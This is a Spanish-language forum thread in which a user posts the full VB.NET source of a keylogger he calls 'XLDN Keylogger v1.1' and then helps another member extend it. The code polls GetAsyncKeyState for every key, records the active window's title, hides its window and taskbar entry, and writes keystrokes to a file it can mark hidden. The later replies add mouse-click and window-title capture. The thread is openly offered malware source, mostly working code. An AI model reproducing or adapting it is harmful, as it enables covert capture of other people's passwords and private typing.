Autor
		 | 
		
			Tema: XLDN Keylogger v1.1 Source code  (Leído 12,792 veces)
		 | 
	 
 
	
		
			
				
					
						| 
							xeldon
							
						 | 
						
							
							 
							
Buenas, despues de meditar las peticiones del codigo, he decidido compartirlo. Por aqello de "dar a internet por aquello que se ha recibido". Os dejo el link del codigo:  http://darkxeldon.blogspot.com/2010/02/try.htmlSio no entendeis cualquier cosa, no dudeis en preguntarme   saludos! 
  
						 | 
					 
					
						
							
								| 
								 | 
							 
								| 
								 | 
								
									 
									En línea
								 | 
							  
							 
							
						 | 
					 
				 
			 |  
		 
	 |  
	
		
		
			
				
					
						
							chacKos
							
								
								  Desconectado
								Mensajes: 62
								
								
								
								
								
								  
							 
						 | 
						
							
							 
							
Hola, para comenzar tengo una duda. La cosa es que no se como se hace para que estado el programa "en segundo plano" (por decirlo así) es capaz de capturar las teclas. Una vez intente hacer una aplicación que estando en Hide (Me.Hide) al pulsar unas teclas se volviese a mostrar (Me.Show) pero no lo conseguí. ¿Cómo se hace éso?
  Gracias. 
  
						 | 
					 
					
						
							
								| 
								 | 
							 
								| 
								 | 
								
									 
									En línea
								 | 
							  
							 
							 ---]  chacKos [---  
						 | 
					 
				 
			 |  
		 
	 |  
	
		
		
			
				
					
						| 
							xeldon
							
						 | 
						
							
							 
							
Para que el programa capture las teclas en segundo plano, tienes que utilizar librerias de windows. La libreria que utilizo en mi codigo, captura todos los clicks del raton / pulsaciones del teclado cuando se llama a una funcion. Simplemente se llama a esta funcion en un timer con interval 1, y se comprueba si se a pulsado algo.
  De esta forma lo puedes ocultar con Me.Hide(), Me.Opacity=0... y el programa estaria oculto hasta que tu quieras(metiendo una condicional en el timer para recoger la tecla, o algo por el estilo)
  La libreria que utilizo es GetAsyncKeyState.  
						 | 
					 
					
						
							
								| 
								 | 
							 
								| 
								 | 
								
									 
									En línea
								 | 
							  
							 
							
						 | 
					 
				 
			 |  
		 
	 |  
	
		
		
			
				
					
						| 
							xeldon
							
						 | 
						
							
							 
							
Dejo el codigo por aqui  tambien:  Elementos del form: -btnInfo -btnExit -btnSelectRoute -btnDeleteLog -btnStart  -btnStop cbHide tbRoute tbCheck (con set visible a false, para comprobar cuando si teclea la cadena de texto que yo quiero, en este caso "show xeldon") Timer1 -> With interval 1, para capturar las keys Timer2 -> With interval 30000 para actualizar el log.  'Source code by Xeldon (XLDN) visit www.darkxeldon.blogspot.com for more source codes Imports System.Web Imports System.IO Imports System.Net.Mail Imports System.Environment Imports System.Windows.Forms.Keys
  Public Class Form1   'Handle od the open windows    _      Private Shared Function GetForegroundWindow() As System.IntPtr   End Function   'Send string with the window name to the handle.    _  Private Shared Function GetWindowText( _     ByVal hWnd As System.IntPtr, _     ByVal lpString As System.Text.StringBuilder, _     ByVal cch As Integer) As Integer   End Function
 
    Dim inUse As Boolean = False
    Dim result As Integer   Dim timeHour As String   Dim openProgram As String = "Default!!!"   Dim writer As StreamWriter   'declaro la funcion como as int16 para qe rule on w7 x64   Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Int16 'integer
 
 
 
    Private Sub btnExit_Click(ByVal sender As System.Object,_  ByVal e As System.EventArgs) Handles btnExit.Click       End   End Sub
    Private Sub Form1_Load(ByVal sender As System.Object,_  ByVal e As System.EventArgs) Handles MyBase.Load
        btnStop.Visible = False       dlg.FileName = "Conf32"       dlg.Filter = "txt files (*.txt)|*.txt|All files (*.*)|*.*"       dlg.InitialDirectory = "C:\"       tbRoute.Text = dlg.FileName   End Sub
    Private Sub Timer1_Tick(_ ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
 
        Dim title As New System.Text.StringBuilder(New String(" "c, 256))       Dim ret As Integer       Dim WindowName As String       Dim hWnd As IntPtr = GetForegroundWindow()       For cont = 1 To 255           result = 0           result = GetAsyncKeyState(cont) 'gets the key state           If result = -32767 Then 'if a known key is pressed               inUse = True               If hWnd.Equals(IntPtr.Zero) Then Return               ret = GetWindowText(hWnd, title, title.Length)               If ret = 0 Then Return               WindowName = title.ToString.Substring(0, ret)               If WindowName <> Nothing AndAlso WindowName.Length > 0 Then                   If WindowName.Contains(openProgram) = False Then                       openProgram = WindowName                       writer.Write(NewLine & "===== " & WindowName & _  " =====" & NewLine & NewLine)                   End If               End If               If (TranslateKey(cont) <> "") Then                   writer.Write(TranslateKey(cont))                   tbCheck.AppendText(TranslateKey(cont).ToUpper)                   If tbCheck.Text.Contains("SHOW XELDON") Then                       tbCheck.Text = ""                       Me.Show()                       Me.ShowInTaskbar = True                   End If               End If           End If       Next cont   End Sub
    Private Sub btnStart_Click(ByVal sender As System.Object,_  ByVal e As System.EventArgs) Handles btnStart.Click
        timeHour = DateTime.Now.ToString()       Timer1.Enabled = True       Timer2.Enabled = True       Me.Hide()       Try           Dim route As String = dlg.FileName           writer = File.AppendText(route)           If cbHide.Checked Then               SetAttr(dlg.FileName, vbHidden)           Else               SetAttr(dlg.FileName, FileAttribute.Normal)           End If           writer.Write(NewLine & NewLine & "CONNECTION TIME: " & _ timeHour & NewLine & NewLine)           Me.ShowInTaskbar = False           Me.Hide()       Catch ex As Exception
        End Try       inUse = False
        btnStart.Visible = False       btnStop.Visible = True   End Sub
 
 
 
        Private Function TranslateKey(ByVal KeyCode As Long) As String         Dim LngShift As Long
          'Funcion optimizada para su uso en teclados españoles.
          LngShift = GetAsyncKeyState(ShiftKey)         If KeyCode > 64 And KeyCode < 91 Then             TranslateKey = IIf(LngShift <> 0, Chr(KeyCode), Chr(KeyCode + 32))         ElseIf KeyCode >= 58 And KeyCode <= 90 Then             TranslateKey = If(LngShift <> 0, Chr(KeyCode), UCase(Chr(KeyCode)))         ElseIf KeyCode >= 96 And KeyCode <= 105 Then             TranslateKey = Chr(KeyCode - 48)         ElseIf KeyCode >= 112 And KeyCode <= 123 Then             TranslateKey = "{F" & KeyCode - 111 & "}"         Else
              If KeyCode = 1 Then TranslateKey = ""             If KeyCode = 2 Then TranslateKey = ""             If KeyCode = 4 Then TranslateKey = ""             If KeyCode = 160 Then TranslateKey = ""             If KeyCode = 161 Then TranslateKey = "{SHIFT DER.}"             If KeyCode = 38 Then TranslateKey = "{FLECHA ARRIBA}"             If KeyCode = 40 Then TranslateKey = "{FLECHA ABAJO}"             If KeyCode = 37 Then TranslateKey = "{FLECHA IZQ.}"             If KeyCode = 39 Then TranslateKey = "{FLECHA DER.}"             If KeyCode = 32 Then TranslateKey = " "             If KeyCode = 27 Then TranslateKey = "{ESC}"             If KeyCode = 46 Then TranslateKey = "{DEL}"             If KeyCode = 36 Then TranslateKey = "{HOME}"             If KeyCode = 35 Then TranslateKey = "{END}"             If KeyCode = 33 Then TranslateKey = "{PAGE UP}"             If KeyCode = 34 Then TranslateKey = "{PAGE DOWN}"             If KeyCode = 45 Then TranslateKey = "{PASTE}"             If KeyCode = 144 Then TranslateKey = "{NUM}"             If KeyCode = 111 Then TranslateKey = "{NUMPAD / }"             If KeyCode = 106 Then TranslateKey = "{NUMPAD * }"             If KeyCode = 109 Then TranslateKey = "{NUMPAD - }"             If KeyCode = 107 Then TranslateKey = "{NUMPAD + }"             If KeyCode = 13 Then TranslateKey = "{ENTER}"             If KeyCode = 8 Then TranslateKey = "{BACK}"             If KeyCode = 221 Then TranslateKey = "{ACCENTO}"             If KeyCode = 9 Then TranslateKey = "{TAB}"             If KeyCode = 20 Then TranslateKey = "{BLOQ. MAYUS}"             If KeyCode = 162 Then TranslateKey = "{CNTRL LEFT}"             If KeyCode = 163 Then TranslateKey = "{CNTRL DER.}"             If KeyCode = 91 Then TranslateKey = "{WINDOWS}"             If KeyCode = 164 Then TranslateKey = "{ALT}"             If KeyCode = 165 Then TranslateKey = "{ALTGR}"             If KeyCode = 93 Then TranslateKey = "{MENU CONTEXTUAL}"             If KeyCode = 188 Then TranslateKey = IIf(LngShift <> 0, ";", ",")             If KeyCode = 190 Then TranslateKey = IIf(LngShift <> 0, ":", ".")             If KeyCode = 189 Then TranslateKey = IIf(LngShift <> 0, "_", "-")
              If KeyCode = 187 Then TranslateKey = IIf(LngShift <> 0, "*", "+")
              If KeyCode = 219 Then TranslateKey = IIf(LngShift <> 0, "?", "'")             If KeyCode = 220 Then TranslateKey = IIf(LngShift <> 0, "º", "ª")             If KeyCode = 48 Then TranslateKey = IIf(LngShift <> 0, "=", "0")             If KeyCode = 49 Then TranslateKey = IIf(LngShift <> 0, "!", "1")             If KeyCode = 50 Then TranslateKey = IIf(LngShift <> 0, """", "2")             If KeyCode = 51 Then TranslateKey = IIf(LngShift <> 0, "·", "3")             If KeyCode = 52 Then TranslateKey = IIf(LngShift <> 0, "$", "4")             If KeyCode = 53 Then TranslateKey = IIf(LngShift <> 0, "%", "5")             If KeyCode = 54 Then TranslateKey = IIf(LngShift <> 0, "&", "6")             If KeyCode = 55 Then TranslateKey = IIf(LngShift <> 0, "/", "7")             If KeyCode = 56 Then TranslateKey = IIf(LngShift <> 0, "(", "8")             If KeyCode = 57 Then TranslateKey = IIf(LngShift <> 0, ")", "9")             If KeyCode = 145 Then TranslateKey = "{ROLL}"             If KeyCode = 44 Then TranslateKey = "{PRINT}"             If KeyCode = 19 Then TranslateKey = "{PAUSE}"             If KeyCode = 16 Then TranslateKey = "{SHIFT}"
          End If     End Function
    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick       If inUse = True Then           timeHour = DateTime.Now.ToString()           Try               writer.Flush()               writer.Close()           Catch ex As Exception           End Try           Try               Dim route As String = dlg.FileName               writer = File.AppendText(route)               If cbHide.Checked = True Then                   SetAttr(dlg.FileName, vbHidden)               Else                   SetAttr(dlg.FileName, FileAttribute.Normal)               End If               writer.Write(NewLine & NewLine & "::::::::::::::::::::::::::::::::::::::::::::::::" & _ timeHour & "::::::::::::::::::::::::::::::::::::::::::::::::" & NewLine & NewLine)
            Catch ex As Exception
            End Try       End If
        inUse = False   End Sub
    Private Sub Form1_FormClosing(ByVal sender As System.Object, _ ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles MyBase.FormClosing
        End   End Sub
    Private Sub Button1_Click(ByVal sender As System.Object, _ ByVal e As System.EventArgs) Handles btnSelectRoute.Click
        dlg.ShowDialog()   End Sub
    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)       MsgBox(dlg.FileName)   End Sub
    Private Sub rut_TextChanged(ByVal sender As System.Object, _ ByVal e As System.EventArgs) Handles tbRoute.TextChanged       tbRoute.Text = dlg.FileName   End Sub
    Private Sub dlg_FileOk(ByVal sender As System.Object, _ ByVal e As System.ComponentModel.CancelEventArgs) Handles dlg.FileOk       tbRoute.Text = dlg.FileName   End Sub
    Private Sub Button2_Click_1(ByVal sender As System.Object, _  ByVal e As System.EventArgs) Handles btnInfo.Click       Form2.Show()   End Sub
    Private Sub Button3_Click(ByVal sender As System.Object, _ ByVal e As System.EventArgs) Handles btnDeleteLog.Click       Try           writer.Close()           btnStop.Visible = False           btnStart.Visible = True           File.Delete(dlg.FileName)       Catch ex As Exception           MsgBox("Delete error: " & ex.Message)       End Try   End Sub
    Private Sub st_Click(ByVal sender As System.Object, _ ByVal e As System.EventArgs) Handles btnStop.Click       Timer1.Enabled = False       Timer2.Enabled = False       writer.Write(NewLine & NewLine & "DISCONNECTION TIME: " & timeHour & _  NewLine & NewLine)       writer.Close()       btnStop.Visible = False       btnStart.Visible = True   End Sub End Class
 
  
						 | 
					 
					
						
							
								| 
								 | 
							 
								| 
									« Última modificación:  5 Marzo 2010, 13:39 pm por xeldon »
								 | 
								
									 
									En línea
								 | 
							  
							 
							
						 | 
					 
				 
			 |  
		 
	 |  
	
		
		
			
				
					
						
							chacKos
							
								
								  Desconectado
								Mensajes: 62
								
								
								
								
								
								  
							 
						 | 
						
							
							 
							
Ok, vale te entiendo. Estoy intentando capturar el click del raton fuera del formulario y no lo consigo, utilizo este code:     Private Sub CapturaClick()         Dim x As Integer = Cursor.Position.X         Dim y As Integer = Cursor.Position.Y
          Label1.Text = _             "Usando Cursor.Position: " & vbCrLf & _             "x= " & x & ", Y = " & y
          Dim p As POINT_API         GetCursorPos(p)
          Label2.Text = _             "Usando GetCursorPos: " & vbCrLf & _             "x= " & p.X & ", Y = " & p.Y     End Sub
      Private Sub Form1_MouseClick(ByVal sender As Object, ByVal e As MouseEventArgs) Handles MyBase.MouseClick         CapturaClick()     End Sub
      Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load         Timer1.Enabled = True     End Sub
      Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick         ' No se que debe ir aquí     End Sub  
						 | 
					 
					
						
							
								| 
								 | 
							 
								| 
									« Última modificación:  1 Marzo 2010, 17:08 pm por C-ChacK »
								 | 
								
									 
									En línea
								 | 
							  
							 
							 ---]  chacKos [---  
						 | 
					 
				 
			 |  
		 
	 |  
	
		
		
			
				
					
						| 
							xeldon
							
						 | 
						
							
							 
							
Private Sub Timer1_Tick(_ ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        For cont = 1 To 255           result = 0           result = GetAsyncKeyState(cont) 'gets the key state           If result = -32767 Then 'if a known key is pressed              'Aqui entra si se a pulsado una tecla, o si se ha hecho click              ************************************************           End If       Next cont   End Sub
 
  En la linea ***************************** para obtener que tecla/click a ocurrido haces un Chr(cont) para que te devuelva el valor. Creo que eran los valores 1 2 3 los del raton. (1-click izquierdo, 2-derecho,3-central) prueba a ver No olvides declarar la libreria GetAsyncKeyState al principio del proyecto  
						 | 
					 
					
						
							
								| 
								 | 
							 
								| 
								 | 
								
									 
									En línea
								 | 
							  
							 
							
						 | 
					 
				 
			 |  
		 
	 |  
	
		
		
			
				
					
						
							chacKos
							
								
								  Desconectado
								Mensajes: 62
								
								
								
								
								
								  
							 
						 | 
						
							
							 
							
Ok, gracias ya di un avance, al final la pulsaciones del raton son: If cont = 1 Then Label4.Text = "{CLIC DERECHO}" If cont = 2 Then Label4.Text = "{CLIC IZQUIERDO}" If cont = 4 Then Label4.Text = "{CLIC CENTRO}" 
						 | 
					 
					
						
							
								| 
								 | 
							 
								| 
								 | 
								
									 
									En línea
								 | 
							  
							 
							 ---]  chacKos [---  
						 | 
					 
				 
			 |  
		 
	 |  
	
		
		
			
				
					
						| 
							xeldon
							
						 | 
						
							
							 
							
Los caracteres normales los coge bien con Chr(), puse la función translatekey, a la que le paso el numero cont y dentro de ella, calculo que tecla fue pulsada.(Caracteres especiales, mayusculas...etc)
  Saludos! 
						 | 
					 
					
						
							
								| 
								 | 
							 
								| 
								 | 
								
									 
									En línea
								 | 
							  
							 
							
						 | 
					 
				 
			 |  
		 
	 |  
	
		
		
			
				
					
						
							chacKos
							
								
								  Desconectado
								Mensajes: 62
								
								
								
								
								
								  
							 
						 | 
						
							
							 
							
Hola, otra duda que me surgió fue, para capturar la ventana activa donde se hace clic, tengo el siguiente código     Private Shared Function GetForegroundWindow() As System.IntPtr     End Function     'Send string with the window name to the handle.
      Private Shared Function GetWindowText( _        ByVal hWnd As System.IntPtr, _        ByVal lpString As System.Text.StringBuilder, _        ByVal cch As Integer) As Integer     End Function ---------------------- Private Sub Ventana(ByVal hWnd As IntPtr, ByVal title As System.Text.StringBuilder, ByVal WindowName As String, ByVal ret As Integer)         inUse = True         If hWnd.Equals(IntPtr.Zero) Then Return         ret = GetWindowText(hWnd, title, title.Length)         If ret = 0 Then Return         WindowName = title.ToString.Substring(0, ret)         If WindowName <> Nothing AndAlso WindowName.Length > 0 Then             If WindowName.Contains(openProgram) = False Then                 openProgram = WindowName                 MsgBox(WindowName)             End If         End If     End Sub ---------------------- ... If result = -32767 Then 'if a known key is pressed                 Ventana(hWnd, title, WindowName, ret) ...
  Falta alguna variable por declarar pero que en mí código si están. No se pero por ejemplo en  If hWnd.Equals(IntPtr.Zero) Then Return dice que son iguales y sale cuando hago clic, no entiendo por qué, debo modificar algo?  
						 | 
					 
					
						
							
								| 
								 | 
							 
								| 
								 | 
								
									 
									En línea
								 | 
							  
							 
							 ---]  chacKos [---  
						 | 
					 
				 
			 |  
		 
	 |  
	
		
		
			
				
					
						| 
							xeldon
							
						 | 
						
							
							 
							
claro!! mira, cuando haces esto: if result = -32767 Then 'if a known key is pressed                 Ventana(hWnd, title, WindowName, ret)
  El programa entra en ese if cuando se pulsa una tecla, o se hace click. Yo lo tengo asi para que me compruebe cuando tecleo, si tecleo en el mismo programa que la pulsacion anterior o no, para pasar el titulo de la ventana, solo cuando escribo en una aplicacion distinta. Si todo el codigo anterior le llamas directamente     Private Shared Function GetForegroundWindow() As System.IntPtr     End Function     'Send string with the window name to the handle.
      Private Shared Function GetWindowText( _        ByVal hWnd As System.IntPtr, _        ByVal lpString As System.Text.StringBuilder, _        ByVal cch As Integer) As Integer     End Function ----------------------  Dim title As New System.Text.StringBuilder(New String(" "c, 256))       Dim ret As Integer       Dim WindowName As String       Dim hWnd As IntPtr = GetForegroundWindow()
          If hWnd.Equals(IntPtr.Zero) Then Return         ret = GetWindowText(hWnd, title, title.Length)         If ret = 0 Then Return         WindowName = title.ToString.Substring(0, ret)         If WindowName <> Nothing AndAlso WindowName.Length > 0 Then             If WindowName.Contains(openProgram) = False Then                                  MsgBox(WindowName)             End If         End If     End Sub
  Le pones esto en un button, deberia de funcionar y darte el titulo de la ventana(que sera el titulo de tu programa) Yo lo que hago es comprobarlo en las pulsaciones, para organizarme en el log en que programa se teclea. Si aun asi no te funciona dime, y me hago un code de ejemplo en un moment    
						 | 
					 
					
						
							
								| 
								 | 
							 
								| 
								 | 
								
									 
									En línea
								 | 
							  
							 
							
						 | 
					 
				 
			 |  
		 
	 |  
	 |  
 
	 
	
 
			 
			   |